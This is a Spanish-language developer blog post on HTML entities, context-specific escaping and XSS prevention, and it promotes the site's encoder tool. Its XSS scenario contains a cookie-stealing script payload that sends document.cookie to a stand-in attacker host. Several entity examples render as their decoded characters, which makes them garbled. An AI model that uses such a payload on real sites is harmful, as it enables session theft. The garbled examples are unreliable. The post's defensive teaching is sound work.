Entidades HTML: Cómo Escapar Contenido y Prevenir XSS
Blog de DevTools — Herramientas y guías gratuitas para desarrolladores
El Problema: Cuando Tu Contenido Quiere Ser Código
HTML es un lenguaje donde los caracteres <, > y & tienen significados especiales. Eso genera una ambigüedad inevitable: si quieres mostrar el texto literal "5 < 10" en una página, el navegador interpretará < 10... como el inicio de una etiqueta y tu contenido se romperá o desaparecerá.
Las entidades HTML resuelven la ambigüedad: son secuencias que representan caracteres especiales sin activar su función. < se muestra como < pero jamás abre una etiqueta. Es la diferencia entre ejecutar texto y mostrar texto.
Tres Formas de Escribir una Entidad
- Nombradas:
&(&),<(<),>(>),"("),©(©),á(á). Legibles pero limitadas al catálogo definido por el estándar (más de 2000 entidades hoy). - Decimales:
&equivale a &. Funciona para cualquier carácter Unicode:😀es 😀. - Hexadecimales:
&también es &. Misma cobertura que las decimales con notación más familiar para programadores.
Puedes verificar conversiones en ambas direcciones con nuestro HTML Entity Encoder/Decoder online: pega HTML crudo y obtén la versión escapada lista para mostrar, o decodifica entidades para recuperar el texto original.
XSS: El Ataque que las Entidades Detienen
Cross-Site Scripting (XSS) ocurre cuando datos controlados por el atacante terminan ejecutándose como código en el navegador de otra víctima. El vector clásico: un comentario, nombre de perfil o campo de búsqueda que la aplicación inserta en el HTML sin escapar.
Escenario mínimo: un foro muestra el nombre del usuario tal cual lo escribió. Un atacante se registra como <script>fetch('https://malicioso.com?c='+document.cookie)</script>. Sin escapar, cada visitante del perfil ejecuta ese script y envía sus cookies al atacante. Con escapado correcto, el navegador solo ve texto inofensivo mostrado literalmente.
Las tres reglas de oro:
- Escapa en la salida, no en la entrada: guarda el dato original en tu base de datos y escápalo justo antes de insertarlo en HTML. Cada contexto de salida tiene su escape correcto.
- Usa funciones del framework: en React los componentes escapan automáticamente entre llaves
{'{valor}'}; en Angular la interpolación{'{'}{'{'} valor {'}'}{'}'}igual. Peligroso:dangerouslySetInnerHTMLov-htmlsin sanitizar. - Nunca construyas HTML concatenando strings con datos de usuarios. Ese patrón es el origen de casi todos los XSS históricos.
Cada Contexto Tiene Su Escape
Un error frecuente es pensar que escapar entidades sirve para todo. No:
- Dentro de HTML (body): entidades (
<etc.). Correcto. - Dentro de atributos HTML: entidades + siempre entre comillas dobles. Un atributo sin comillas permite evadir el escape con espacios.
- Dentro de JavaScript: las entidades NO protegen.
<script>var x = 'DATO';</script>requiere escaping de contexto JS (', \, etc.) o mejor: pasar datos vía JSON en data-attributes. - Dentro de URLs: usa URL encoding (nuestro artículo dedicado lo cubre), no entidades.
Más Allá de Seguridad: Usos Cotidianos
Escribir tutoriales y documentación: todo blog técnico necesita mostrar código HTML sin que se ejecute; escapar entidades es la única forma correcta de hacerlo en HTML plano.
Símbolos tipográficos confiables: — (—), · (·), « («) garantizan símbolos perfectos incluso si algún sistema intermedio corrompe UTF-8.
Plantillas de email: clientes como Outlook tienen parsers caprichosos; usar entidades numéricas reduce los caracteres corruptos en asuntos y firmas.
Pruébalo Ahora
Pega esto en el decodificador del HTML Entity Encoder/Decoder: <p>Hola &amp; bienvenido</p>. Verás aparecer el HTML original. Luego invierte: pega <b>importante</b> en modo encode y obtén la versión segura para mostrar literalmente. Treinta segundos de práctica y el mecanismo queda claro para siempre.